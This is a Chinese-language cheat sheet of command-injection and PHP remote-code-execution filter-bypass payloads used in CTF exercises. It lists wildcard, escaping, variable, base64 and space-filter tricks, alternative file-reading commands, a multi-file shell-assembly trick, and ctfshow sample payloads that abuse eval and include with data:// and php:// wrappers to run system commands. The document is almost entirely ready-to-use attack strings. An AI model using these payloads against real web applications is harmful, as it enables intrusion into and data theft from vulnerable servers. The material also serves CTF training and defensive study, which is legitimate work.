关键字过滤:
1、过滤flag关键字
通配符
flag=fl*
cat fl*
cat ?la*
2、转义符号
ca\t /fl\ag
cat fl''ag
2、1使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
3、拼接法
a=fl;b=ag;cat$IFS$a$b
4、反引号绕过:
cat `ls`
5、编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
`echo ZmxhZwo= | base64 -d` flag
6、组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
7、异或无符号(过滤0-9a-zA-Z)
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
(2)过滤函数关键字
1、内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
2、过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag
3、过滤空格
%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
(3)无回显利用
1、直接写个文件访问查看
2、直接进行对外访问接受
ctfshow样题
29-通配符
system('tac fla*.php');
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>